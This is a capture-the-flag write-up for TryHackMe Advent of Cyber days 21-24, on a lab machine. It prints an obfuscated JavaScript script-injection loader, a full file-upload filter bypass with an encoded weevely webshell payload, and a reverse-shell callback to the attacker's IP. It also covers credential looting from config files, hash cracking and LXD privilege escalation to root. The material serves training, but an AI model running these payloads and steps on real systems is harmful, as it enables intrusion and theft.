PS C:\Windows\System32\3lfthr3e> (gc 1.txt)[6991]

This is only half the answer. Search in the 2nd file for the phrase from the previous question to get the full answer. What does Elf 3 want? (use spaces when submitting the answer)

Answer: red ryder bb gun

PS C:\Windows\System32\3lfthr3e> sls 2.txt -pattern 'RedRyder'

2.txt:558704:redryderbbgun

[Day 21] Blue Teaming - Time for some ELForensics#

Read the contents of the text file within the Documents folder. What is the file hash for db.exe?

Answer: 596690FFC54AB6101932856E6A78E3A1

PS C:\Users\littlehelper\Documents> gc '.\db file hash.txt'
Filename:       db.exe
MD5 Hash:       edited

What is the file hash of the mysterious executable within the Documents folder?

Answer: 5F037501FB542AD2D9B06EB12AED09F0

PS C:\Users\littlehelper\Documents> Get-FileHash -Algorithm MD5 .\deebee.exe

Algorithm       Hash                                                                   Path
MD5             edited--------------------------                                       C:\Users\littlehelper\Documen...

Using Strings find the hidden flag within the executable?

Answer: THM{f6187e6cbeb1214139ef313e108cb6f9}

c:\Tools\strings64.exe -accepteula .\deebee.exe

What is the flag that is displayed when you run the database connector file?

Answer: THM{088731ddc7b9fdeccaed982b07c297c}

Get the alternate data stream and run the database connector file.

Get-Item -Path deebee.exe -Stream *
wmic process call create $(Resolve-Path C:\Users\littlehelper\Documents\deebee.exe:hidedb)

[Day 22] Blue Teaming - Elf McEager becomes CyberElf#

What is the password to the KeePass database?

Answer: thegrinchwashere

base64 decode the folder name, it's the password of the password database.

What is the encoding method listed as the 'Matching ops'?

Answer: base64

It was automatically found by the Magic recipe.

What is the decoded password value of the Elf Server?

Answer: sn0wM4n!

This time it was encoded in hexadecimal.

What is the decoded password value for ElfMail?

Answer: ic3Skating!

From HTML entities.

Decode the last encoded value. What is the flag?

Answer: THM{657012dcf3d1318dca0ed864f0e70535}

  • Retrieve the note for "Elf Security System" entry
  • It is JavaScript code
  • Open the browser JS console (F12) or any JS sandbox
  • Paste the code
eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 54, 44, 32, 49, 48, 52, 44, 32, 49, 49, 55, 44, 32, 57, 56, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 52, 44, 32, 57, 55, 44, 32, 49, 48, 53, 44, 32, 49, 50, 50, 44, 32, 57, 55, 44, 32, 52, 55, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 52, 57, 44, 32, 52, 57, 44, 32, 49, 48, 48, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 52, 57, 44, 32, 53, 48, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 57, 57, 44, 32, 53, 50, 44, 32, 49, 48, 48, 44, 32, 53, 52, 44, 32, 53, 52, 44, 32, 53, 53, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 53, 52, 44, 32, 49, 48, 48, 44, 32, 57, 56, 44, 32, 49, 48, 50, 44, 32, 49, 48, 48, 44, 32, 53, 55, 44, 32, 57, 55, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 53, 55, 44, 32, 53, 54, 44, 32, 57, 55, 44, 32, 53, 54, 44, 32, 53, 54, 44, 32, 57, 56, 44, 32, 53, 54, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));

The decoded value is:

<script type="text/javascript" async="" src="hhttps://gist.github.com/heavenraiza/"></script>

Fix the URL and grab the flag.

[Day 23] Blue Teaming - The Grinch strikes again!#

Decrypt the fake 'bitcoin address' within the ransom note. What is the plain text value?

Answer: nomorebestfestivalcompany

There a file RansomNote.txt on the desktop.

As you were calmly looking at your documents I encrypted all the workstations at Best Festival Company just now. Including yours McEager! Send me lots and lots of money to my bitcoin address (bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==) and MAYBE I'll give you the key to decrypt. >:^p

The fake bitcoin address is encoded in base64:

$ printf %s 'bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==' | base64 -d
edited

At times ransomware changes the file extensions of the encrypted files. What is the file extension for each of the encrypted files?

Answer: .grinch

If you go in the documents (C:\Users\Administrator\Documents\confidential) there is a folder containing a file with a double extension: eg .txt.edited.

What is the name of the suspicious scheduled task?

Answer: opidsfsdf

Open the Task Scheduler, find a task that is triggered at log on and which is executing a .exe.

Inspect the properties of the scheduled task. What is the location of the executable that is run at login?

Answer: C:\Users\Administrator\Desktop\opidsfsdf.exe

Open the Actions tab.

There is another scheduled task that is related to VSS. What is the ShadowCopyVolume ID?

Answer: 7a9eea15-0000-0000-0000-010000000000

The is a task named ShadowCopyVolume{id-edited}

Assign the hidden partition a letter. What is the name of the hidden folder?

Answer: confidential

In the View tab of explorer.exe enable hidden files display.

Right-click and inspect the properties for the hidden folder. Use the 'Previous Versions' tab to restore the encrypted file that is within this hidden folder to the previous version. What is the password within the file?

Answer: m33pa55w0rdIZseecure!

Do as told and read master-password.txt.

[Day 24] Special by DarkStar - The Trial Before Christmas#

Scan the machine. What ports are open?

Answer: 80, 65000

Let's launch a complete scan:

# Nmap 7.91 scan initiated Sun Jan  3 18:52:54 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.8.246
Nmap scan report for 10.10.8.246
Host is up (0.035s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
65000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Light Cycle

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan  3 18:53:45 2021 -- 1 IP address (1 host up) scanned in 51.52 seconds

What's the title of the hidden website? It's worthwhile looking recursively at all websites on the box for this step.

Answer: Light Cycle

As I launched the nmap scan with default scripts, http-title gave me the answer.

What is the name of the hidden php page?

Answer: uploads.php

Let's first try to find some folders on the 1st website:

$ ffuf -u http://10.10.8.246/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.8.246/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

3                       [Status: 301, Size: 306, Words: 20, Lines: 10]
codes                   [Status: 301, Size: 310, Words: 20, Lines: 10]
                        [Status: 200, Size: 8848018, Words: 17748, Lines: 6795]
:: Progress: [17770/17770] :: Job [1/1] :: 1202 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
  • /3/: this is the retro website we saw in several other AoC challenges
  • /codes/: You didn't think it would be that easy did you?...

I tried to recursively enumerate under /codes/ but a rewrtie rule was generating many false positive (HTTP 200), all of size 50 bytes so I re-launched the scan with -fs 50 to filter answers with this size.

$ ffuf -u http://10.10.8.246/codes/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403 -fs 50

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.8.246/codes/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
 :: Filter           : Response size: 50
________________________________________________

voucher                 [Status: 200, Size: 15360453, Words: 70708, Lines: 76228]
:: Progress: [17770/17770] :: Job [1/1] :: 1198 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

I found only one endpoint: /codes/voucher but it's a troll, a rick roll video.

Let's try the first directory:

$ ffuf -u http://10.10.8.246/3/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.8.246/3/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

9                       [Status: 301, Size: 308, Words: 20, Lines: 10]
                        [Status: 200, Size: 519216, Words: 9207, Lines: 4788]
:: Progress: [17770/17770] :: Job [1/1] :: 1149 req/sec :: Duration: [0:00:19] :: Errors: 0 ::

I found /3/9/ with, what looks like, another fake website.

After a dozen of seconds it redirect randomly to another website.

Let's dig deeper.

$ ffuf -u http://10.10.8.246/3/9/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.8.246/3/9/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

9                       [Status: 301, Size: 310, Words: 20, Lines: 10]
                        [Status: 200, Size: 1251902, Words: 16116, Lines: 518]
:: Progress: [17770/17770] :: Job [1/1] :: 1136 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

/3/9/9/ also redirect to a rick roll video.

So the whole 1st web server on port 80 is a rabbit hole.

Now let's try the other web server on port 65000.

There is a log form, we can register and login but this wil lredirect us to a rick roll again.

Let's enumerate again:

$ ffuf -u http://10.10.8.246:65000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.8.246:65000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

api                     [Status: 301, Size: 317, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 320, Words: 20, Lines: 10]
                        [Status: 200, Size: 800, Words: 31, Lines: 27]
grid                    [Status: 301, Size: 318, Words: 20, Lines: 10]
:: Progress: [17770/17770] :: Job [1/1] :: 1213 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

The root path of the API is giving nothing with a GET or POST request.

If we try to hit the API with a GET we obtain an error message: API responds to post requests only. Enumerating under the API endpoint in a classical maner won't work, we have make fuff make POST requests.

$ ffuf --help | grep -i post
  -d               POST data
  Fuzz POST JSON data. Match all responses not containing text "error".
    ffuf -w entries.txt -u https://example.org/ -X POST -H "Content-Type: application/json" \

$ ffuf -u http://10.10.8.246:65000/api/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403 -X POST -H "Content-Type: application/json"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : POST
 :: URL              : http://10.10.8.246:65000/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Header           : Content-Type: application/json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

register                [Status: 200, Size: 64, Words: 8, Lines: 1]
login                   [Status: 200, Size: 52, Words: 4, Lines: 1]
upload                  [Status: 200, Size: 41, Words: 3, Lines: 1]
:: Progress: [17770/17770] :: Job [1/1] :: 586 req/sec :: Duration: [0:00:33] :: Errors: 0 ::

I tried to enumerate a valid param for the upload endpoint:

$ ffuf -u http://10.10.8.246:65000/api/upload/ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 -X POST -H "Content-Type: application/json" -d '{"FUZZ": "file.txt"}' -fs 41

but without success, I always get this error:

{"res":"Error","msg":"No file extension"}%

I have found a sub-directory (/api/) but I may have missed a file.

I found nothing with a classic file wordlist:

$ ffuf -u http://10.10.8.246:65000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -fc 403

As we know we are looking for a PHP file, I can use a wordlist of words and add the php extension.

$ ffuf -u http://10.10.8.246:65000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 -e .php

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.8.246:65000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Extensions       : .php
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

uploads.php             [Status: 200, Size: 1328, Words: 45, Lines: 36]
api                     [Status: 301, Size: 317, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 320, Words: 20, Lines: 10]
.                       [Status: 200, Size: 800, Words: 31, Lines: 27]
index.php               [Status: 200, Size: 800, Words: 31, Lines: 27]
grid                    [Status: 301, Size: 318, Words: 20, Lines: 10]
:: Progress: [76534/76534] :: Job [1/1] :: 1201 req/sec :: Duration: [0:01:11] :: Errors: 0 ::

Yay! I found the page.

What is the name of the hidden directory where file uploads are saved?

Answer: grid

I have found that during the previous step.

Bypass the filters. Upload and execute a reverse shell.

We can take a look at /assets/js/upload.js to find the param we laked earlier.

let messageTimer;
const changeMsg = message => {
	const resMsg = document.querySelectorAll(".resMsg");
	resMsg.forEach(item => {
		item.innerHTML=message;
	});
	clearTimeout(messageTimer);
	messageTimer = setTimeout(() => {
		resMsg.forEach(item => {
			item.innerHTML="&nbsp;";
		});
	}, 5000);

}

const upload = () => {
	let file = uploadInput.files[0];
	if(typeof filter === "function"){
		if(!filter(file)){
			changeMsg("Invalid File Type");
			return;
		}
	}


	const reader = new FileReader();
	reader.readAsDataURL(file);
	reader.onload = e => {
		fetch("/api/upload", {
			method:"post",
			credentials:"same-origin",
			headers:{
				"Accept":"application/json"
			},
			body: JSON.stringify({"name":file.name, "file":e.target.result})
		}).then(res=>res.json()).then(res=>{
			changeMsg(res["msg"]);
			uploadInput.value="";
		});
	}

}


window.addEventListener("load", () => {
	const uploadInput = document.querySelector("#uploadInput");
	const uploadButtons = document.querySelectorAll(".uploadBtn");
	uploadInput.value="";

	uploadButtons.forEach(item => {
		item.addEventListener("click", () => {
			uploadInput.click();
		});
	});
	uploadInput.addEventListener("change", () => upload())

});

Now we know the right params but let's take a look at the filter: /assets/js/filter.js.

const filter = file => {
	if(["image/png", "image/jpeg", "image/jpg"].indexOf(file.type) < 0){
		return false;
	} else if (["png", "jpeg", "jpg"].indexOf(file.name.split(".").pop()) < 0){
		return false;
	}

	//Let's be honest -- these things are dangerous. May as well always return false ¯\_(ツ)_/¯
	return false;

}

Doing it with curl will bypass the client-side filter that always return false are there is no JS support in curl. But there is still a server-side filter for the extension, hopefully we can bypass that with a double extension to upload some php code.

$ curl -X POST http://10.10.8.246:65000/api/upload/ -H "Content-Type: application/json" --data '{"name":"test.png.php","file":"<?php phpinfo(); ?>"}'
{"res":"Success","msg":"File Uploaded Successfully!"}

To upload a more advanced wbe shell or reverse shell let's send our request to burp, where we will be able to edit it more easily:

$ curl -X POST http://10.10.8.246:65000/api/upload/ -H "Content-Type: application/json" --data '{"name":"test.png.php","file":"<?php phpinfo(); ?>"}' --proxy http://127.0.0.1:8080

Now generate a webshell:

$ weevely generate noraj agent.php
Generated 'agent.php' with password 'noraj' of 744 byte size.

Configure burp to intercep JS and answer, change the filter to always return true, refresh the page, use the uploads.php form to upload the weevely agent.

POST /api/upload HTTP/1.1
Host: 10.10.8.246:65000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.8.246:65000/uploads.php
Content-Type: text/plain;charset=UTF-8
Origin: http://10.10.8.246:65000
Content-Length: 964
Connection: close
Cookie: PHPSESSID=gnno53l3sicp9qfmc4lcqrgcjs

{"name":"agent.php","file":"data:application/x-php;base64,PD9waHAKJFU9c3RyX3JlcGxhY2UoJ0pIJywnJywnY3JKSGVhdEpISkhlX2Z1SkhuSkhjSkh0aW9uJyk7CiRCPScvL2lucHV0IlRUKSwkbSlUPT0xKSB7QG9iX3N0YXJUdChUKTtAZVR2YWwoQGd6dW5jb21UcFRyZXNzKEB4KEBiYVRzZTY0VF9kZWNvZFRlKCRtVFsxVF0pLCRrKSkpOyRvPUBvVGJfZ2VUdF8nOwokSj0nJGspVHskY1Q9c3RybFRlbigka1QpOyRsPXN0cmxlbihUJHQpOyRvPVQiVCI7ZlRvVHIoJGk9MFQ7JGk8JGxUOyl7Zm9yKCRqPTA7KCRqPFQkYyYmJGlUPCRsKTtUVCRqKyssJFRpK1QnOwokWj0nKyl7JG8uPSR0eyRpfV4ka1R7VFQkan1UO319cmV0dXJuICRvO31pZiAoVEBwVHJlZ19tYXRjaCgiLyRUa2goVC4rKSRrZi8iLFRAZmlsZV9UZ2V0VF9jb250ZW50cygicFRocFQ6JzsKJEE9JyRrPSI1NTZUY2NUMjM4IjskVGtoVD0iNjNmZVRmMjBmYWI1YyI7JGtmPSI0VDU2ZGIxNlQ2YlRjNmUiOyRwPSJRVFd3VGNFOE1qaDM3NVRXeXdwIlQ7ZnVUbmN0aW9UbiB4KCR0LCc7CiRmPSdjb250VGVudFRzKCk7QG9iX2VUbmRfY2xlVGFuKCk7VCRUcj1AYmFzZVQ2NF9lbmNvZGUoQFR4KEBnemNUb21wcmVzVFRzKCRvKVQsJGspKTtwcmludCgiJHBUJGtoVCRyJGtmIik7fSc7CiRDPXN0cl9yZXBsYWNlKCdUJywnJywkQS4kSi4kWi4kQi4kZik7CiRsPSRVKCcnLCRDKTskbCgpOwo/Pgo="}

This way is better than using curl as it will automatically encode the payload.

Then access the webshell:

$ weevely http://10.10.8.246:65000/grid/agent.png.php noraj

[+] weevely 4.0.1

[+] Target:     10.10.8.246:65000
[+] Session:    /home/noraj/.weevely/sessions/10.10.8.246/agent.png_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@light-cycle:/var/www/TheGrid/public_html/grid

Now we can upgrade to a reverse shell:

Start a listener pwncat -l 9999 -vv then use the reverse shell plugin:

www-data@light-cycle:/var/www/TheGrid/public_html/grid $ :backdoor_reversetcp 10.9.19.77 9999 -s bash

We received our shell:

$ pwncat -l 9999 -vv
INFO: Listening on :::9999 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.8.246:52806 (family 2/IPv4, TCP)
bash: cannot set terminal process group (699): Inappropriate ioctl for device
bash: no job control in this shell
www-data@light-cycle:/var/www/TheGrid/public_html/grid$

Now let's upgrade and stabilize it.

www-data@light-cycle:/var/www/TheGrid/public_html/grid$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<rid$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@light-cycle:/var/www/TheGrid/public_html/grid$ export TERM=xterm
export TERM=xterm
www-data@light-cycle:/var/www/TheGrid/public_html/grid$ ^Z
[1]  + 35149 suspended  pwncat -l 9999 -vv

$ stty raw -echo; fg
[1]  + 35149 continued  pwncat -l 9999 -vv

www-data@light-cycle:/var/www/TheGrid/public_html/grid$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

What is the value of the web.txt flag?

Answer: THM{ENTER_THE_GRID}

txt-data@light-cycle:/var/www/TheGrid/public_html/grid$ find /var/www -name web.t
/var/www/web.txt

www-data@light-cycle:/var/www/TheGrid/public_html/grid$ cat /var/www/web.txt

Review the configuration files for the webserver to find some useful loot in the form of credentials. What credentials do you find? username:password

Answer: tron:IFightForTheUsers

cat /var/www/TheGrid/includes/dbauth.php:

<?php
        $dbaddr = "localhost";
        $dbuser = "tron";
        $dbpass = "IFightForTheUsers";
        $database = "tron";

        $dbh = new mysqli($dbaddr, $dbuser, $dbpass, $database);
        if($dbh->connect_error){
                die($dbh->connect_error);
        }
?>

Access the database and discover the encrypted credentials. What is the name of the database you find these in?

Answer: tron

Let's use the creds:

www-data@light-cycle:/var/www/TheGrid/includes$ mysql -u tron -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 78366
Server version: 5.7.32-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| tron               |
+--------------------+
2 rows in set (0.02 sec)

mysql> use tron;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Crack the password. What is it?

Answer: @computer@

There is only one user (flynn), the other one (noraj) is the one I created.

mysql> show tables;
+----------------+
| Tables_in_tron |
+----------------+
| users          |
+----------------+
1 row in set (0.00 sec)

mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | flynn    | edc621628f6d19a13a00fd683f5e3ff7 |
|  2 | noraj    | 556cc23863fef20fab5c456db166bc6e |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

Let's use https://crackstation.net/ to crack the hash.

What is the value of the user.txt flag?

Answer: THM{IDENTITY_DISC_RECOGNISED}

Now we can connect with flynn

mysql> exit
Bye
www-data@light-cycle:/var/www/TheGrid/includes$ su flynn
Password:
flynn@light-cycle:/var/www/TheGrid/includes$ cd
flynn@light-cycle:~$ cat user.txt

Check the user's groups. Which group can be leveraged to escalate privileges?

Answer: lxd

flynn@light-cycle:~$ id
uid=1000(flynn) gid=1000(flynn) groups=1000(flynn),109(lxd)

What is the value of the root.txt flag?

Answer: THM{FLYNN_LIVES}

Let's use the technique described in the room material.

See the images available:

flynn@light-cycle:~$ lxc image list
To start your first container, try: lxc launch ubuntu:18.04

+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| Alpine | a569b9af4e85 | no     | alpine v3.12 (20201220_03:48) | x86_64 | 3.07MB | Dec 20, 2020 at 3:51am (UTC) |
+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+

Initialize, configure the disks, and start the container.

flynn@light-cycle:~$ lxc init Alpine noraj -c security.privileged=true
Creating noraj

flynn@light-cycle:~$  lxc config device add noraj popopo disk source=/ path=/mnt/root recursive=true
Device popopo added to noraj

flynn@light-cycle:~$ lxc start noraj

flynn@light-cycle:~$ lxc exec noraj /bin/sh
~ # cd /mnt/root/root
/mnt/root/root # ls
root.txt
/mnt/root/root # cat root.txt
THM{edited}



"As Elf McEager claimed the root flag a click could be heard as a small chamber on the anterior of the NUC popped open. Inside, McEager saw a small object, roughly the size of an SD card. As a moment, he realized that was exactly what it was. Perplexed, McEager shuffled around his desk to pick up the card and slot it into his computer. Immediately this prompted a window to open with the word 'HOLO' embossed in the center of what appeared to be a network of computers. Beneath this McEager read the following: Thank you for playing! Merry Christmas and happy holidays to all!"
Share